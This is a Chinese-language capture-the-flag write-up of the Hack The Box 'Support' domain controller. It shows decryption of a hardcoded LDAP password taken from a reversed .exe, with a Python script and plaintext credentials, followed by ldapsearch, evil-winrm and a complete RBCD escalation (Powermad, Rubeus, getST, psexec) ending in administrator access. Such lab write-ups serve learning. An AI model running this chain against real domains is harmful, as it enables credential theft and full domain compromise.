nmap扫描,目标主机明显为域控,主机名为DC,域名为support.htb

访问smb服务,看到一些路径

访问support-tools

下载UserInfo.exe.zip并解压,看到一些exe和dll文件,还有一个config文件


使用IDA打开UserInfo.exe,看到存在getPassword函数,其中有个UserInfo.Services.Protected::enc_password和UserInfo.Services.Protected::key

检查enc_password的交叉引用


得到加密后的密码,变量名为a0nv32ptwgyjzg9,值为0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E。另外看到一个armando,可能是用户名。以及LDAP://support.htb

大概看了一下对应函数的代码逻辑,应该是使用Bytes类型的armando对ASCII码类型的字符串进行了加密


借助GPT分析代码,大概就是使用key中的字符对字符串进行异或加密,中间增加了对0XDF的异或
将局部变量1、2、0依次压入堆栈
将堆栈上的第二个元素(局部变量0)作为数组,将第一个元素(局部变量2)作为索引,取出数组中的元素并压入堆栈
将UserInfo.Services.Protected类的静态字段key(一个字节数组)压入堆栈
将局部变量2压入堆栈
将UserInfo.Services.Protected类的静态字段key(一个字节数组)压入堆栈
取出数组的长度并转换为int32类型,压入堆栈
计算堆栈上的两个元素(局部变量2和key数组的长度)的余数,并压入堆栈
将堆栈上的第二个元素(key数组)作为数组,将第一个元素(余数)作为索引,取出数组中的元素并压入堆栈
计算堆栈上的两个元素(数组中的两个字节)的异或,并压入堆栈
将常数0xDF压入堆栈
计算堆栈上的两个元素(异或结果和常数0xDF)的异或,并转换为uint8类型,压入堆栈
将堆栈上的第三个元素(局部变量0)作为数组,将第二个元素(局部变量2)作为索引,将第一个元素(uint8值)存储到数组中对应位置
将局部变量2压入堆栈
将常数1压入堆栈
计算堆栈上的两个元素(局部变量2和常数1)相加,并存储到局部变量2
解密得到初始字符串nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
import base64
c = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
k = b"armando"
result = ""
for i in range(len(c)):
result += chr(c[i] ^ k[i%len(k)] ^ 223)
print(result)
从代码中看到对应的用户应该是support\ldap

使用ldapsearch进行查询
ldapsearch -x -H ldap://10.10.11.174 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb'
在结果中发现疑似support用户的密码Ironside47pleasure40Watchful

使用evil-winrm登录,拿到用户flag

使用bloodhound信息收集,看到support用户具备Shared Support Account组的权限,查看帮助信息,看到利用基于资源的约束委派攻击进行提权
RBCD的利用条件有2个,首先是具备修改主机msDS-AllowedToActOnBehalfOfOtherIdentity的权限,其次是拥有一个机器账户的权限。在本次实验环境中,Shared Support Account 组具备对域主机DC的generic all的权限,而用户support隶属于该组,所以可以修改主机权限;而一个域用户最多可以创建10个机器账户,所以可以手动创建机器账户。
使用工具PowerView.ps1:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
检查与用户创建机器用户的数量,符合默认10个
Get-DomainObject -Identity 'DC=SUPPORT,DC=HTB' | select ms-ds-machineaccountquota

检查主机的msDS-AllowedToActOnBehalfOfOtherIdentity权限,可以看到值为空
Get-DomainComputer DC | select name,msds-allowedtoactonbehalfofotheridentity | fl

使用工具Powermad.ps1:https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
创建机器账户
New-MachineAccount -MachineAccount FAKE -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)

检查创建的机器账户
Get-ADComputer -identity FAKE

使用Powerview中的功能为机器账户设置约束委派的权限,目的是设置DC主机msds-allowedtoactonbehalfofotheridentity的值
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE$
检查是否设置成功
Get-DomainComputer DC | select msds-allowedtoactonbehalfofotheridentity

获取创建的机器账户的HASH
./Rubeus.exe hash /password:Password123 /user:FAKE$ /domain:support.htb

创建票据
python3 getST.py -dc-ip 10.10.11.174 support/fake\$:Password123 -spn cifs/dc.support.htb -impersonate administrator

利用票据连接主机
export KRB5CCNAME=administrator.ccache; python3 psexec.py dc.support.htb -target-ip 10.10.11.174 -k -no-pass

本文描述了一次针对域控服务器的安全分析过程,包括nmap扫描、smb服务发现、解密密码、ldapsearch查询、evil-winrm登录、利用bloodhound收集信息以及RBCD(基于资源的约束委派)权限提权的步骤。通过创建和配置机器账户,最终实现了权限升级。
5305





